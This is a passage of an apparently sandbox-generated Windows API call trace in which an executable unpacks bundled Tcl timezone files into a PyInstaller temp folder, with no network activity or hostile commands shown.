dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.939] GetFileType (hFile=0x10c) returned 0x1 [0039.939] htonl (hostlong=0x78060000) returned 0x678 [0039.939] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.939] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x678, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x678, lpOverlapped=0x0) returned 1 [0039.954] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.954] CloseHandle (hObject=0x10c) returned 1 [0039.955] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.955] htonl (hostlong=0x30000000) returned 0x30 [0039.955] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.955] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.955] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.955] GetFileType (hFile=0x10c) returned 0x1 [0039.955] htonl (hostlong=0x3b15a00) returned 0x5ab103 [0039.955] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f6103, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.955] htonl (hostlong=0x32010000) returned 0x132 [0039.955] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x132) returned 0x550600 [0039.955] htonl (hostlong=0x32010000) returned 0x132 [0039.955] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.956] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.956] htonl (hostlong=0x73030000) returned 0x373 [0039.956] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x373) returned 0x550740 [0039.956] htonl (hostlong=0x32010000) returned 0x132 [0039.956] htonl (hostlong=0x73030000) returned 0x373 [0039.956] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.956] CloseHandle (hObject=0x10c) returned 1 [0039.956] GetLastError () returned 0x0 [0039.956] SetLastError (dwErrCode=0x0) [0039.956] GetLastError () returned 0x0 [0039.956] SetLastError (dwErrCode=0x0) [0039.956] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.956] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.956] GetFileType (hFile=0x10c) returned 0x1 [0039.956] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.956] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.956] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.956] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.956] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.956] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.956] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.956] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.957] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.957] CloseHandle (hObject=0x10c) returned 1 [0039.957] GetLastError () returned 0x0 [0039.957] SetLastError (dwErrCode=0x0) [0039.957] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.957] GetFileType (hFile=0x10c) returned 0x1 [0039.957] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.957] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.957] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.957] CloseHandle (hObject=0x10c) returned 1 [0039.957] GetLastError () returned 0x0 [0039.957] SetLastError (dwErrCode=0x0) [0039.957] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.957] GetFileType (hFile=0x10c) returned 0x1 [0039.958] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.958] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.958] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.958] CloseHandle (hObject=0x10c) returned 1 [0039.958] GetLastError () returned 0x0 [0039.958] SetLastError (dwErrCode=0x0) [0039.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashgabat") returned 70 [0039.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashgabat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ashgabat"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.958] GetLastError () returned 0x2 [0039.958] SetLastError (dwErrCode=0x2) [0039.958] GetLastError () returned 0x2 [0039.958] SetLastError (dwErrCode=0x2) [0039.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashgabat", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashgabat", lpFilePart=0x0) returned 0x45 [0039.958] GetLastError () returned 0x2 [0039.958] SetLastError (dwErrCode=0x2) [0039.958] GetLastError () returned 0x2 [0039.958] SetLastError (dwErrCode=0x2) [0039.958] GetLastError () returned 0x2 [0039.958] SetLastError (dwErrCode=0x2) [0039.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashgabat") returned 70 [0039.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashgabat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ashgabat"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.959] GetFileType (hFile=0x10c) returned 0x1 [0039.959] htonl (hostlong=0x73030000) returned 0x373 [0039.959] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.959] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x373, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x373, lpOverlapped=0x0) returned 1 [0039.960] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.960] CloseHandle (hObject=0x10c) returned 1 [0039.961] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550740 | out: hHeap=0x530000) returned 1 [0039.961] htonl (hostlong=0x30000000) returned 0x30 [0039.961] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.961] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.961] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.961] GetFileType (hFile=0x10c) returned 0x1 [0039.961] htonl (hostlong=0x35b25a00) returned 0x5ab235 [0039.961] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f6235, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.961] htonl (hostlong=0x87000000) returned 0x87 [0039.961] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0039.961] htonl (hostlong=0x87000000) returned 0x87 [0039.961] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.961] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.961] htonl (hostlong=0xb1000000) returned 0xb1 [0039.961] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb1) returned 0x550600 [0039.961] htonl (hostlong=0x87000000) returned 0x87 [0039.961] htonl (hostlong=0xb1000000) returned 0xb1 [0039.961] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.962] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.962] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.962] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.962] CloseHandle (hObject=0x10c) returned 1 [0039.962] GetLastError () returned 0x0 [0039.962] SetLastError (dwErrCode=0x0) [0039.962] GetLastError () returned 0x0 [0039.962] SetLastError (dwErrCode=0x0) [0039.962] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.962] GetFileType (hFile=0x10c) returned 0x1 [0039.962] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.962] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.962] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.962] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.962] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.962] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.962] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.962] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.962] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.962] CloseHandle (hObject=0x10c) returned 1 [0039.962] GetLastError () returned 0x0 [0039.962] SetLastError (dwErrCode=0x0) [0039.962] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.963] GetFileType (hFile=0x10c) returned 0x1 [0039.963] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.963] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.963] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.963] CloseHandle (hObject=0x10c) returned 1 [0039.963] GetLastError () returned 0x0 [0039.963] SetLastError (dwErrCode=0x0) [0039.963] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.963] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.963] GetFileType (hFile=0x10c) returned 0x1 [0039.963] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.963] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.964] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.964] CloseHandle (hObject=0x10c) returned 1 [0039.964] GetLastError () returned 0x0 [0039.964] SetLastError (dwErrCode=0x0) [0039.964] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashkhabad") returned 71 [0039.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashkhabad" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ashkhabad"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.964] GetLastError () returned 0x2 [0039.964] SetLastError (dwErrCode=0x2) [0039.964] GetLastError () returned 0x2 [0039.964] SetLastError (dwErrCode=0x2) [0039.964] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashkhabad", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashkhabad", lpFilePart=0x0) returned 0x46 [0039.964] GetLastError () returned 0x2 [0039.964] SetLastError (dwErrCode=0x2) [0039.964] GetLastError () returned 0x2 [0039.964] SetLastError (dwErrCode=0x2) [0039.964] GetLastError () returned 0x2 [0039.964] SetLastError (dwErrCode=0x2) [0039.964] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashkhabad") returned 71 [0039.964] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ashkhabad" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ashkhabad"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.966] GetFileType (hFile=0x10c) returned 0x1 [0039.966] htonl (hostlong=0xb1000000) returned 0xb1 [0039.966] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.966] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb1, lpOverlapped=0x0) returned 1 [0039.967] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.967] CloseHandle (hObject=0x10c) returned 1 [0039.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.968] htonl (hostlong=0x30000000) returned 0x30 [0039.968] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.968] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.968] CreateFileW 